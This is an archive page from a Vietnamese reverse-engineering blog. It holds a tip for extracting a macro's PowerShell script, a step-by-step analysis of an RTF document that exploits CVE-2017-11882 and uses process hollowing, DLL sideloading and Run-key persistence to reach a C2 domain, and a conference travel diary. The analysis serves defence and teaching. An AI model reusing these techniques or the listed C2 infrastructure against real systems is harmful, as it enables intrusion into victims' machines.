Archive for the ‘Uncategorized’ Category


Hôm nay, tình cờ lướt twitter của @DissectMalware, tôi có đọc được một mẹo nhỏ hỗ trợ để lấy được toàn bộ malicious script.

Link sample: hxxps://www.hybrid-analysis.com/sample/4991e2bf6c1384c9077366f9bebf159001e5ba922e9b615cf8a331c69efab586?environmentId=120

Thông qua HxD biết được đây là OLE Compound File:

Dùng olevba (https://github.com/decalage2/oletools) có được thông tin về VBA code:

Thường thì các bạn hay gặp các samples sử dụng Document_Open() hay AutoOpen() để tự động thực thi VBA khi người dùng mở tài liệu (chính xác hơn là sau khi nhấn nút Enable Content). Còn ở sample này, nó sử dụng AutoClose() để khi người dùng đóng tài liệu thì VBA code sẽ được thực thi.

Khi parse sample bằng olevba, công cụ có highlight đoạn code liên quan đến thực thi Shell như trên hình. Tiến hành debug VBA code và đặt breakpoint tại chỗ Shell này ta sẽ thấy mal_doc gọi cmd.exe để thực thi một đoạn powershell script:

Như các bạn đã biết, khi debug thì hạn chế của tính năng Watch trong trình debugger sẽ không hỗ trợ ta xem và lấy được toàn bộ nội dung của một chuỗi dài như trên hình.

Còn nếu dùng Process Hacker thì phải thật “nhanh tay” mới lấy được toàn bộ nội dung của Powershell như sau:

Tuy nhiên, có một cách khá hay được @DissectMalware chia sẻ nhằm giúp ta lấy được nội dung của toàn bộ script, đó là sử dụng ActiveDocument.Content.InsertAfter để ghi toàn bộ đoạn text ra chính tài liệu. Bổ sung đoạn code này vào trước lệnh Shell như sau:

Sau khi trace qua ta sẽ có được toàn bộ nội dung của script được ghi ra tài liệu như sau:

Decode chuỗi Base64 trên ta có được nội dung của script thực hiện nhiệm vụ download một PE file từ C2 về máy nạn nhân để thực thi:

….

Cập nhật:

Ngoài cách trên, có thể áp dụng cách của anh TQN là sử dụng lệnh Debug.Print. Bổ sung đoạn code sau vào trước lệnh Shell:

Thực hiện Debug, trace qua lệnh và quan sát cửa sổ Immediate, ta sẽ có được nội dụng của toàn bộ script:

End.

m4n0w4r

Advertisements

Vô tình bắt gặp trên twitter của @blu3_team (Tôi không rõ sao acc này lại rất hay có được những mẫu target vào VN), tôi tò mò muốn biết kĩ thuật đằng sau nó là gì bởi tôi thấy nó tương tự như một bài mà tôi đã đọc https://medium.com/@Sebdraven/malicious-document-targets-vietnamese-officials-acb3b9d8b80a, và vì xem comment, người nghi ngờ là OceanLotus, người khẳng định là 1937CN Team

Xin lỗi vì bài viết khá dài, tôi cũng không biết làm thế nào để cho nó ngắn hơn :D, nếu bạn không có thời gian để đọc hết thì bấm một like rồi chuyển trang khác. Phần tôi, một là do tôi thích viết, mặt khác cũng là cách tôi tự rèn kĩ năng … phần nữa là vì tôi biết rằng chỉ khi mình thực sự bắt tay vào phân tích mới thấy nó khác xa với những gì mình đọc bằng mắt và tưởng tượng….



1. Môi trường thực hiện

1. Máy ảo REMnux (https://remnux.org/): sử dụng để phân tích files, giả lập Internet services và capture network traffic.

2. Máy ảo Win10x64 (tự build): sử dụng cho Static & Dynamic Analysis

a. Cài đặt sẵn các cộng cụ debugger & disassembler: OllyDbg, x64dbg, IDA …

b. Cài đặt sẵn Office 2013.

c. Enable tải khoản Administrator (mặc định tài khoản này bị disable) và đăng nhập bằng tải khoản này để thực hiện phân tích.

2. Phân tích theo hành vi

Khi mở tài liệu trên máy ảo Win10, sẽ thấy ứng dụng EQNEDT32.exe được gọi, sau đó xuất hiện thêm hai tiến trình khác là QcConsol.exedllhst3g.exe:


Trên máy ảo REMnux chạy Wireshark để capture traffic từ máy ảo Win10, thu được kết quả kết nối tới C2 server là login[dot]dangquanwatch[dot]com:

Log của Noriben (https://github.com/Rurik/Noriben) cung cấp:

3. Phân tích sample trên REMnux

Sample nhận được là một file có định dạng RTF:

Sử dụng rtfobj (https://github.com/decalage2/oletools), biết được sample này có 3 objects:


Object tại id 0 có FileName là 8.t, khi mở tài liệu thì file này sẽ được drop vào thư mục Temp trên máy. Hai object còn lại được nhận diện là “Not a well formed ole object”.

Dùng luôn rtfobj để dump toàn bộ các objects này:

Kiểm tra thông tin từng file. Đầu tiên là b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbde1ecfb0415_8.t:

Theo data như trên hình thì khả năng file này đã bị mã hóa và sẽ được giải mã sau khi drop vào thự mục Temp.

Với file b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbde1ecfb0415_object_000C11FB.raw:

Căn cứ vào dấu hiệu như trên hình thì khả năng file RTF có thể sẽ sử dụng exploit CVE-2017–11882 (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882).

Kiểm tra file còn lại là b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbde1ecfb0415_object_000C11E9.raw:

File này khả năng sẽ chứa đoạn shellcode để thực hiện sau khi máy nạn nhân bị exploit. Thông tin sợ bộ là như vậy, tiếp theo ta sẽ thực hiện debug sample này để xem file 8.t được sử dụng như thế nào.

4. Debug maldoc trên Windows10

Liên quan tới exploit CVE-2017–11882, khi chạy sample, Winword.exe sẽ gọi tiến trình EQNEDT32.exe để handle OLE object. Tuy nhiên, Winword.exe không phải là process cha của EQNEDT32.exe, tiến trình EQNEDT32.exe được gọi bởi Winword.exe thông qua việc sử dụng COM Object như hình dưới đây:

Như vậy, bằng cách nào đó ta phải attach được EQNEDT32.exe vào debugger để debug. Ở đây, tôi sử dụng một kĩ thuật của M$ là Image File Execution Options (IFEO: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/).

Vào Registry, tạo một key như sau hoặc nếu cài Word2013 trở lên thì khả năng có sẵn key này (vì tôi thấy trên máy tôi có sẵn):

Tiếp theo, tạo một string value để khởi chạy debugger khi EQNEDT32.exe được thực thi, qua đó sẽ attach đươc debugger vào tiến trình của EQNEDT32.exe.

Với thiết lập như trên, kiểm tra lại bằng Autoruns sẽ như sau:

Lưu ý: khi thiết lập IFEO, các thiết lập sẽ tự động bộ giữa hai key: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution OptionsHKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

Tiếp theo, mở WINWORD.EXE, sau đó từ Winword mở tài liệu malicious rtf. Lúc này, tiến trình EQNEDT32.exe cũng sẽ được khởi chạy và được attach vào debugger:

Tại debugger, ta đang dừng lại tại EP(Entry Point) của EQNEDT32.exe:

Kiểm tra ta thấy file 8.t đã được drop vào thư mục Temp:

Đặt BP tại API CreatFileW, sau đó nhấn F9 để thực thi, ta thấy chương trình sẽ thực hiện mở file 8.t để đọc nội dung:

Trace qua hàm này và return, sẽ tới shellcode của exploit:

Gọi hàm GetFileSize để lấy kích thước của 8.t:

Sau đó, gọi hàm VirtualAlloc để thực hiện cấp phát một vùng nhớ:

Vùng nhớ được cấp phát trỏ bởi thanh ghi EAX, follow theo vùng nhớ này để xem code sẽ tác động gì lên nó:

Hàm ReadFile được gọi để đọc ra nội dung của 8.t:

Toàn bộ nội dung của 8.t được đọc vào vùng nhớ đã được cấp phát ở trên:

Tiếp tục trace sẽ tới đoạn shellcode thực hiện giải mã toàn bộ nội dung của file 8.t trong memory tại 0x4F70000:

Sau vài lần trace code sẽ thấy được dấu hiệu MZ, nhưng vậy file 8.t sau khi giải mà sẽ là một PE file:

Cho thực hiện xong toàn bộ vòng lặp giải mã trên sẽ có được một PE hoàn chỉnh trong bộ nhớ:

Dump PE mới này và lưu lại để thực hiện phân tích sau:

File dump được là một exe file:

Tiếp tục debug, shellcode gọi tiếp hàm VirtualAlloc để cấp phát một vùng nhớ khác tại địa chỉ 0x5170000:

PE được giải mã tại vùng nhớ 0x4F70000 sẽ được copy vào vùng nhớ mới được cấp phát ở trên:

Dump vùng mem trên ra bộ nhớ, và vì file này đã được mapping trên memory và có thay đổi, nên sử dụng cộng cụ pe_unmapper của hasherezade (https://github.com/hasherezade/pe_recovery_tools/tree/master/pe_unmapper) để chuyển đổi từ virtual format về định dạng raw:

Debug tiếp, shellcode gọi hàm GetModuleFileNameA được gọi để lấy đường dẫn của EQNEDT32.exe:

Sử dụng CreateProcessA (CreateProcessInternalA) để tạo một process EQNEDT32.exe khác ở trạng thái Suspended. Do đang thiết lập tính năng IFEO nên ta sẽ thấy process của debugger thay vì là process EQNEDT32.exe:

Note: Nếu thực hiện lại, tới bước này thì sử dụng Autoruns để bỏ việc sử dụng IFEO và cho thực hiện hàm CreateProcessA, ta sẽ có được kết quả đúng như hình:

Đoạn code tiếp theo sẽ lấy thread context bằng GetThreadContext, đọc dữ liệu từ vùng nhớ với hàm ReadProcessMemory, gọi VirtualProtectEx (PAGE_EXECUTE_READWRITE 0x40) để thay đổi trang thái của vùng nhớ trên Suspend process, và cuối cùng shellcode ghi đè lên bằng PE tại địa chỉ 0x5170000:

Thực hiện đặt lại thread context bằng SetThreadContext, cuối cùng shellcode thực hiện hàm ResumeThread để launch PE mới:

Tổng kết lại, toàn bộ quá trình thực hiện của shellcode là giải mã file 8.t thành một PE mới, sau đó thực hiện nhân bản sang một vùng nhớ khác, thực hiện tạo một fork process mới là EQNEDT32.exe, cuối cùng áp dụng kĩ thuật runPE để launch EQNEDT32.exe mới đã bị ghi đè code bởi nội dung của file 8.t.

5. Phân tích binary đã dump

Như đã biết khi phân tích dynamic, sau khi resume thread thì malware sẽ drop ra disk các file sau: QcConsol.exe; QcLite.dll; stdole.tlb vào thư mục %AppData%\Microsoft\Windows\Printer Shortcuts.

Ở trên tôi có 2 file đã dump là _04F70000.memdrop_bin.exe (được unmap bằng công cụ pe_unmapper). Tuy nhiên, chỉ có file _04F70000.mem là thực thi được bình thường, còn file drop_bin.exe thì bị crash (mặc dù lúc fix, kiểm tra bằng PE bear thấy mọi thứ đều ok. Tôi có chat hỏi về vấn đề này thì nhận được trả lời của hasherezade như sau: “dumped samples may not always work, so it is normal”).

Mở IDA và load file _04F70000.exe (đổi tên lại từ file .mem), dừng lại tại WinMain():

Binary lấy đường dẫn tới thư mục %AppData%\Microsoft\Windows\Printer Shortcuts:

Cấu thành đường dẫn của các file:

Tới đoạn code thực hiện call sub_331860 3 lần để thực hiện drop các file trên vào thư mục chỉ định. Tôi đổi tên sub này thành thành drop_file như hình:

Đi sâu vào hàm này sẽ gặp vòng lặp xor thực hiện decode bytes, sau đó là đoạn code thực hiện WriteFile vào thư mục:

Kết quả sau khi thực hiện hàm drop_file đầu tiên, có được file QcConsol.exe:

Đây là một file hợp lệ, có chữ kí và được phát triển bởi hãng McAfee, Inc.:

Lời gọi hàm drop_file thứ 2 sẽ drop ra file QcLite.dll, file này không có thông tin gì về Signature cũng như info, như vậy malicious code sẽ nằm ở file này:

Lời gọi hàm drop_file thứ 3 sẽ drop ra file stdole.tlb. Thông tin về .tlb có thể xem tại đây (https://docs.microsoft.com/en-us/windows/desktop/midl/com-dcom-and-type-libraries):

Tiếp tục, cấu thành một command như sau:

Cuối cùng, gọi hàm WinExec để thực thi QcConsol.exe với tham số là “-LowIntegrityServer”:

Như vậy, với việc thực thi thành công, QcConsol.exe chắc chắn sẽ phải load QcLite.dll vào để thưc thi malicious code.

6. DLL hijacking — Phân tích file QcConsol.exe

Load file vào IDA nhận được thông báo:

Để nạp được QcLite.dll, QcConsol.exe sử dụng API LoadLibraryW và sau đó gọi GetProcAddress để lấy địa chỉ của hàm. Về bản chất khi thực hiện nạp module thì đồng thời code của dll cũng sẽ được thực hiện bắt đầu từ DllMain:

7. Phân tích sơ bộ file QcLite.dll

Gọi hàm VirtualAlloc để cấp phát một vùng nhớ:

Lấy đường dẫn đầy đủ tới QcLite.dll:

Dll này sẽ load file .tlb:

Gọi hàm CreatFileW để mở file này (lpFileName trỏ tới stdole.tlb):

Lấy kích thước của stdole.tlb:

Đọc dữ liệu từ stdole.tlb và lưu vào vùng nhớ đã cấp phát ở trên:

Thực hiện vòng lặp sử dụng xor để decode toàn bộ dữ liệu của stdole.tlb đã được copy lên memory:

Kết quả có được sau khi decode, nghi ngờ khả năng đây có thể sẽ là một PE file khác:

Qua rất nhiều rop_chain (tôi đoán thế :D) thì sẽ nhảy tới vùng nhớ trên để thực thi code (Cách nhanh nhất thì các bạn có thể đặt một HWBP on Execute tại 4 bytes đầu 0x50 0x68 0xA7 0x45; sau đó nhấn F9 là tới):

Shellcode tại 0x01A10000 sẽ truy cập PEB (Process Environment Block) để lấy ra địa chỉ base address của kernel32.dll:

Sau khi có được base address của kernel32.dll, shellcode sẽ tìm địa chỉ của hàm API GetProcAddress:

Với hàm API GetProcAddress, shellcode sẽ lấy địa chỉ của các hàm API khác là LoadLibraryA, VirtualAlloc, FreeLibraryA, Sleep:

Sử dụng hàm VirtualAlloc để cấp phát một vùng nhớ và gọi hàm decode_data() để decode bytes trong shellcode vào vùng nhớ cấp phát:

Tiếp tục sử dụng VirtualAlloc để cấp phát thêm một vùng nhớ khác với kích thước lấy từ vùng nhớ trên (dwSize = SizeOfImage = PE_header + 0x50) và thiết lập vùng nhớ mới này là PAGE_EXECUTE_READWRITE:

Sau khi lấy được section header tại vùng nhớ 0x01880000 ở trên, thực hiện vòng lặp để copy toàn bộ các section data sang vùng nhớ mới được cấp phát:

Tiến hành resolve toàn bộ địa chỉ API ghi lại vào IAT của vùng nhớ mới:

Sau khi lấy địa chỉ của toàn bộ các API cần thiết, sử dụng lệnh call để nhảy tới vùng nhớ để thực hiện lệnh:

Tiếp tục debug xuyên qua nhiều lớp call sẽ tới đoạn gọi hàm CreateThread để tạo một thread mới:

Đi tới ThreadFunction tại địa chỉ 0x01EE35D0. Code tại đây thực hiện lấy thông tin binary có sẵn của Windows là dllhst3g.exe:

Xem tổng quan code thì thấy có đoạn code liên quan đến C2 (login[dot]dangquanwatch[dot]com):

Tạo một thread khác làm nhiệm vụ tạo Persistent trong Registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run:

Gọi hàm WritePrivateProfileStringW để ghi string vào file tại “C:\ProgramData\desktop.ini”:

Thiết lập thuộc tính cho file với hàm SetFileAttributesW:

Tạo một Mutex {986AFDE7-F299–4A7D-BBF4-CA756FC01F1B65027208}, tuy nhiên handle tới mutext này sẽ bị đóng ngay sau đó:

Tiếp tục sử dụng bộ API CreateFileW, GetFileSize, VirtualAlloc, ReadFile để một lần nữa đọc ra nội dung được lưu trong file %AppData%\Microsoft\Windows\Printer Shortcuts\stdole.tlb và thực hiện decode dữ liệu giống như đã nói ở bước trước:

Thực hiện kĩ thuật inject code bằng cách gọi hàm CreateProcessW để khởi động tiến trình dllhst3g.exe ở trạng thái Suspended:

Cấp phát vùng nhớ trong tiến trình này thông qua hàm VirtualAllocEx:

Gọi hàm WriteProcessMemory để ghi dữ liệu từ 0x00F90000 (buffer chứa data đã decode của stdole.tlb) vào vùng nhớ đã cấp phát tại tiến trình dllhst3g.exe, đặt lại thread context và resume thread. Lúc này dllhst3g.exe sẽ thực thi bình thường và thực thi luôn malicious code:

8. Debug dllhst3g.exe

Hoàn thành xong việc inject code vào dllhst3g.exe sẽ gọi ExitProcess để kết thúc tiến trình QcConsol.exe và tiếp tục thực thi tiến trình dllhst3g.exe. Do dllhst3g.exe bị inject code của file stdole.tlb sau khi decode trên bộ nhớ, nên cách thức hoạt động cũng tương tự. Để có thể debug xem dllhst3g.exe sẽ làm gì thì trước khi thực hiện bước WriteProcessMemory ở trên, sửa 2 bytes đầu là 0x50 0x68 thành 0xEB 0xFE. Sau khi resume thread, mở một debugger khác để attach và khôi phục lại 2 bytes đã bị sửa.

Lúc này, debug sẽ thấy code tạo một mutext và đọc lại nội dung từ file “C:\ProgramData\desktop.ini” và decode string trong file này thành:

Gắn thêm tham số: 0206F4E4 00D80B30 UNICODE “”C:\Users\REM\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\QcConsol.exe” –LowIntegrityServer và gọi hàm WinExec để thực thi

Tiến trình mới này sẽ kết nối tới C2 (Ở đây tôi đang lái traffic về REMnux):

Tại máy REMnux, sử dụng wireshark sẽ capture được thông tin như hình:

9. IOCs

Domain: login[dot]dangquanwatch[dot]com / IP: 185.77.129.142

RTF: b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbde1ecfb0415

8.t: 6328dd14eda2ef983810c0c7b3af47298b5998e4fa52d97b204be2818f08bb69

Binary:

QcConsol.exe: 9f3114e48dd0245467fd184bb9655a5208fa7d13e2fe06514d1f3d61ce8b8770

QcLite.dll: 5b652205b1c248e5d5fc0eb5f53c5754df829ed2479687d4f14c2e08fbf87e76

Others:

stdole.tlb: ba620bad026f25ba6decc4bdcefc6415b563503cf9eaddc4e1137a5871d5cee2

desktop.ini: 31c2be9ca29fb2bd8096720c221ee9682f013eee119b02d390d6efc12684392d

Registry:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run & HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

ValueName: Windows HD Audio Manager

Data: %AppData%\MICROS~1\Windows\PRINTE~1\QcConsol.exe -LowIntegrityServer

Future ….

Posted: October 13, 2018 in Uncategorized

Vẫn còn đang dang dở…. khi nào vui vui tôi sẽ public 😀

future_tuts

Nhật ký trà đá 0 chấm 4

Posted: September 18, 2018 in Uncategorized
Tags:

Trà đá hacking #7 lần này để lại cho tôi rất nhiều kỉ niệm:
  • Lần đầu tiên tôi lưu trú ở SG gần 1 tuần (chợt nhớ ra là không phải nhưng chót rồi thôi cứ để nguyên 😀 )
  • Lần đầu tiên tôi làm training ở SG, như một sự kiện bên lề của hội thảo.
  • Lần đầu tiên tôi được trải nghiệm trên con exciter huyền thoại của g4mm4
  • Lần đầu tiên tôi ngồi Q5, ăn Q7, nhảy Q1, ngủ Q2… –
  • Lần đầu tiên tôi ăn lẩu cá kèo mà bị bắn pháo hoa tại một khách sạn ở Q3.
  • Lần đầu tiên trà đá tổ chức nguyên ngày.
  • Lần đầu tiên trà đá cũng phải có câu mở đầu Cờ Mờ 4.0
  • Lần đầu tiên tôi tôi kiêm cả zommer lẫn presenter tại trà đá.
  • – ….

Thông qua g4mm4, tôi được biết trà đá hacking #7 có làm Workshop đào tạo trước hội thảo trong thời gian 2 ngày . Lúc g4mm4 ngỏ ý, tôi có trao đổi xem đã ai đăng kí làm trước chưa, nếu có rồi thì ưu tiên người tới trước. “Loằng ngoằng” thế nào, g4mm4 nhắn tôi : “Chốt lại chỉ có mỗi anh đăng kí training”. Tôi đồng ý luôn! Toàn bộ các việc từ PR, giật tít, lập form đăng kí, liên hệ thuê phòng… tôi nhờ g4mm4 làm hết, đơn giản vì tôi biết riêng khoản này không ai qua nổi g4mm4 và thực tế cũng chẳng còn ai khác 🙂 … tóm lại g4mm4 chạy cả hai show: Workshop + Trà đá. Cảm nghĩ cá nhân, nếu trà đá không có người còn nhiết huyết như g4mm4 thì chắc tới số 10 là dẹp …

Những tuần trước ngày dự kiến training là khoảng thời gian mà có lẽ tôi với g4mm4 chat với nhau nhiều nhất :P, cùng lúc đó tôi cũng báo g4mm4 là tôi submit một bài talk ở trà đá, mục đích là để nếu lỡ có “thọt” vụ training tôi còn có tí vớt vát cho quãng thời gian ở SG 😛 . Tôi cũng để nghị g4mm4 cho tôi talk sau anh Quỳnh 😀 … điều này vô tình lại “trở thành hợp lý” khi tôi được vinh dự support người anh trong quá trình present cũng như nhiều bạn diễn giả khác

Những ngày sau đó là thông tin về số lượng người đăng kí học, có thời điểm tôi và g4mm4 đứng giữa hai từ “Chốt” và “Nghỉ“. Đỉnh điểm, tôi nhắn đúng dòng này cho g4mm4: “Okie, có sao dạy thế vậy, chả mấy khi” và nhận được hình này từ g4mm4 (Cảm động !!! )

Địa điểm training được g4mm4 gửi trước để tôi biết, bàn ghế hệt như chỗ mà thằng ku con tôi đang đi học tiếng Anh 😀

Quãng thời gian lưu trú ở SG, tôi thực sự phải cảm ơn người em 0day đã nhiệt tình đưa đón, tạo điều kiện về chỗ ăn ngủ… Từ trung tâm SG phi về Q2- nơi ông em tôi ở hơi xa, nhưng được cái không khí thoáng mát. Ông em tôi công tác SG cũng nhiều năm rồi nên tay lái lụa khỏi bàn :). Từ khu chỗ nhà ông em, tôi lần đầu tiên dòm được tòa nhà Landmark về đêm trông rất đẹp:

Đối diện với khu chung cư là tòa nhà của TCT, cái tòa nhà to vãi cả đái, tôi không rõ trong đó có tổng cộng bao nhiêu nhân viên, nhưng để ngồi được hết ngần này tầng thì chắc là đông lắm:

Logo của tòa nhà này lại gợi cho tôi nhiều kỉ niệm vui buồn khi tôi còn làm ở công ty cũ. Cái thời “thầu” + “bè” nó giống như kiểu “bạn” + “bè”. Bạn thì ít mà bè thì nhiều Thời đó, lúc làm thầu muộn ở công ty tôi hay bật mấy bài nhạc có đoạn:

"Mải miết 8 tiếng sinh nhai
Mồ hôi thấm ướt đôi vai
Ngược xuôi ngày qua rồi khi nhắm mắt đâu ai hơn ai
Mải miết 8 tiếng sinh nhai
Nhiều khi quên hết đúng sai
Lạc trong đoàn xe lại qua chợt quên rằng ta là ai"

"Ngày yêu nhau
Nào ai đâu nghĩ xa xôi
Nghĩ đâu yêu cổ lùn
Cổ lùn cổ lùn ú u cổ lùn

Gần nhau lâu
Nào ai đâu nghĩ xa xôi
Biết anh em cổ lùn
Cổ lùn cổ lùn u u u cổ lùn"

Tôi qua chỗ ông em ở một phần vì lâu mới có dịp vào SG, anh em lâu ngày không gặp có nhiều chuyện để nói, phần nữa là vì gần khu nhà ông em có quán cà phê rang xay tại chỗ (nguồn cà phê cũng tự trồng luôn),  uống rất ngon. Không phải thứ cà phê nhạt toẹt mà thỉnh thoảng tôi vẫn uống ở HN. Ở SG, có cái đặc biệt là quán cà phê và quán nhậu, chỗ nào cũng to và rộng

Tuy nhiên, với tốc độ đô thị hóa chóng mặt như hiện nay thì tôi nghĩ tương lai, vài năm nữa Q2 sẽ ngày càng đông dân cư hơn … và chắc không khí sẽ không còn được thoáng mát nữa 😦

Hai ngày training, tôi bắt xe từ Q2 lên địa điểm đào tạo ở Q5. Tôi đến sớm để nhận phòng, kê bàn ghế, máy chiếu, căn chỉnh mic … g4mm4 hỗ trợ công tác hậu cần kiêm học viên luôn :D. Thời gian đào tạo là không nhiều và tôi cũng nói thẳng luôn là RE hay bất kì công việc nào đi nữa, nó không phải ngày một, ngày hai là giỏi được … nó phải là cả một quá trình rèn luyện và tích lũy. Bản thân tôi cũng không đủ khả năng để truyền tải hết được, và tôi cũng chả hứa hẹn những thứ cao siêu hay vạn lời có cánh như bao người đã từng hứa hẹn với tôi … nhưng những gì làm được tôi cũng đã làm rồi. Tôi hi vọng sẽ có nhiều bạn thành công hơn và cố gắng đem kiến thức của các bạn chia sẻ lại cho cộng đồng. Nếu được như thế tôi cảm ơn lắm lắm …

Đôi tông của g4mm4 😀

Qua đây, thay mặt BTC, tôi gửi lời cảm ơn trân trọng nhất tới tất cả các bạn đã dành thời gian 2 ngày để tham dự khóa đào tạo RE của tôi (đặc biệt là g4mm4! Nếu không có g4mm4 thì sẽ không có buổi WorkShop này…).

Bên cạnh đó, tôi cũng cảm ơn các bạn đã dành thời gian để gửi phản hồi cho khóa học.. mặc dù vẫn chưa đủ nhưng đó là nguồn động lực để tôi tiếp tục thực hiện công việc mà anh em trong ngành gán cho tôi: “Nhà giáo nhân dân”/ “Thầy giáo quốc dân”.

Kết thúc hai ngày đào tạo, tôi được trải nghiệm một cung đường mà chắc sẽ không quên. Đúng theo cái status tôi đăng trên FB ” Ngồi Q5, ăn Q7, nhảy Q1, ngủ Q2… “. Cũng là lần đầu tiên tôi ngồi sau tay lái huyền thoại g4mm4, trên con exciter đã độ bóng loáng 🙂 . Đây là quán bar mà theo lời g4mm4 cũng thuộc loại sôi động ở SG, là nơi tụ tập của giới có tiền … Có đám tây xin lên nhảy hình như không được nên bỏ về lolz 😀

Tôi có thời gian nghỉ ngơi một ngày trước khi tham dự hội thảo. Tối đó tôi có hai kèo nhậu, một với lđ Seamoun Vncert, hai là với anh em {REA-TEAM}. Kèo với anh em REA đã setup từ trước khi tôi vô SG, nên cứ nhậu đã rồi tính tiếp … ở SG về đêm thì chả ai nói trước được điều gì 😀 .. anh em báo quán nào thì túc tắc mà bắt xe qua quán đó thôi 😛 . Sáng sớm, tôi ăn được tô phở (nghe 0day bảo quán này cũng tự làm từ A-Z) và uống ly cà phê rất chất:

6h tối, tôi bắt xe từ Q2 tới quán Lẩu cá kèo Bà Huyện Thanh Quan ở Q3. Hẹn hò thế dek nào mà tôi là thằng tới quán đầu tiên, a Còm lát sau thấy phi xe máy đến … Còn lão Zombie, định mệnh lề mề vãi nồi, lại còn tạt qua đón ku Chiro. Mịa, tôi cứ nghĩ SG éo cao su như HN, không ngờ vẫn cao su như thường…Mà cái lão chửi thiên hạ như hát hay lại là thằng đến muộn … định mệnh lần nữa. Đám REA gặp nhau thường chỉ nói chuyện và bụp, quên mịa cả việc chụp ảnh check-in.

Tôi chỉ chụp được cái đống điện thoại của lão Zom, wtf không hiểu với 3 cái này lão nhét thế nào vào túi 😦 .. Mọe, đại gia mà lúc nào mồm cũng kêu hết tiền …

Ăn xong, tính đi hát hò vì lâu rồi tôi không nghe anh Còm hát … mà xui cái dính đúng vào cuối tuần, quán gần đó kín phòng, anh em giải tán luôn. Tôi bắt xe lộn qua chỗ lđ Seamoun vì ông anh gọi liên tục, tôi sợ có người lại dỗi lolz 😀

Tưởng ngày nghỉ thế nào, chứ mà nguyên tối cứ nhấc cốc lên rồi lại đặt xuống … nó chả khác gì tập tạ . May mắn thế nào, tôi lại được gặp ca sĩ “Gọi đò”, Thái vừa trở về sau cuộc tham dự mạng lưới đổi mới sáng tạo Việt Nam và có viết bài chia sẻ về “Nhật ký cờ mờ 4.0″ trên Blog cá nhân. Tôi nghĩ bạn nào chưa đọc thì nên đọc 😀

Do thời gian, lịch làm việc cộng thêm việc di chuyển liên tục nên tôi để ý thấy Thái có vẻ hơi mệt. Kết thúc buổi nhậu, tôi may mắn xin Thái chụp một tấm hình … tôi nghĩ tấm này cũng đáng đồng tiền bát gạo như trong bài Nhật ký của Thái đấy lolz 😀

Tối đó, tôi qua đêm cùng với lđ Seamoun … người anh lần này tiếp đón ân cần vãi nồi, không như lần nào đó … cũng giữa đất Sài Thành, tôi móc máy ra gọi bị người anh chửi xối xả . Đúng là cuộc đời, nhiều khi thay đổi chả biết đường nào mà lần….

Xui thế nào, chả biết do lẩu cá kèo hay do uống loạn bia mà đếm đó tôi bắn pháo hoa làm người anh tỉnh giấc … Tôi nghĩ bụng, chắc lần này là lần cuối tôi được nằm cùng phòng với lđ.

Sáng hôm hội thảo, tôi với lđ bắt taxi từ Q3 tới địa điểm Toà nhà FPT Tân Thuận, Q7. Tới nơi, Thái cũng đã có mặt ở đó, nhưng Thái có việc bận cá nhân nên không ở lại tham dự. Tôi nghĩ, nếu Thái tham dự thì chắc màn hỏi đáp ở cuối giờ nó còn kéo dài hơn nữa!! 😀

Năm nay tổ chức trên sân nhà của FPT nên tôi nghe g4mm4 nói ban PR của FPT làm việc tích cực lắm. Bằng chứng rõ ràng là lđ Dương K4i nhận phần phát biểu khai mạc đại hội “đảng” lần thứ 7. Tôi không ngờ “ông ngoại tuổi 30“, thầy của nhiều sinh viên mà lại có những giây phút bối rối và bị “gò vấp” 😀 107… nhất là đoạn nói về cuộc cách mệnh mang tính lịch sử 0 chấm 4, tôi đã thấy lđ cúi đầu.. không rõ có phải vì “tương lai phía trước của Đông Lào” hay không?

IMG_20180826_091938

Tới giờ diễn, xui thế nào mà máy anh em cắm vô máy chiếu bị thọt hết, duy chỉ có con lap của tôi là xài được lolz … Túm váy lại là đừng mang máy Mac đi present … thọt lúc nào không biết. Máy tôi được trưng dụng để phục vụ cho toàn bộ diễn giả của trà đá … Con lap màn cảm ứng nên anh em nói đến đâu, đoạn code nào tôi zom đến đấy, nuột như người ta lồng tiếng cho “phim hành động” á 😀 … nhiều người chắc tưởng cái máy chiếu có chức năng mới nhưng đâu ngờ có tôi ở dưới “quay tay” mỏi vãi nồi 😛 . Tôi nghĩ, quả zom này là độc nhất vô nhị chưa từng có hội thảo nào ở VN 

Tôi được chốt hạ để kết thúc hội thảo … cũng gọi là mang lại một không khi vui vẻ cho những bạn nào còn kiên trì ngồi lại đến cuối cùng. Rất cảm ơn mọi người:

Hết hội thảo là màn hỏi đáp, thú thực buổi trưa tôi gặm được cái bánh mì … may cuối giờ g4mm4 dí cho lon bò húc, chứ không là cũng tụt huyết áp.. 😦 Chưa bao giờ tôi cầm cái lon bò húc lạnh mà làm một hơi hết cả lon 😀 . Nhìn lại cái ảnh này tôi vẫn không nhịn nổi cười :

Nhắc đến trà đá mà không nói đến buổi offline thì phí. Tôi đã từng hạ gục lãnh tụ RD tại Lương Sơn Quán … nhưng tất nhiên tôi cũng không còn nhớ gì sau đó . Lđ cùng giường với tôi cũng vì thế mà giận tôi một thời gian  😛 .

Đụ, trong đám nhậu tối hôm đó, có cha người Sing, gã đi hết bàn này bàn khác gạ uống … cứ chạm mặt tôi là gạ “bottom up”. Được đâu chạm chán tầm 3 – 4 quại , tôi nghĩ “Bốt bốt cái nồi 😀 “ … tôi chỉ gã sang chỗ a Quỳnh, rồi anh RD lolz .. Tôi thấy gã vác cốc sang mời các anh mình nhiệt lắm 😀 … Thiện lành quá đi !!

Offline là để kết nối và tôi cũng đã gặp được nhiều bạn trẻ tài năng:

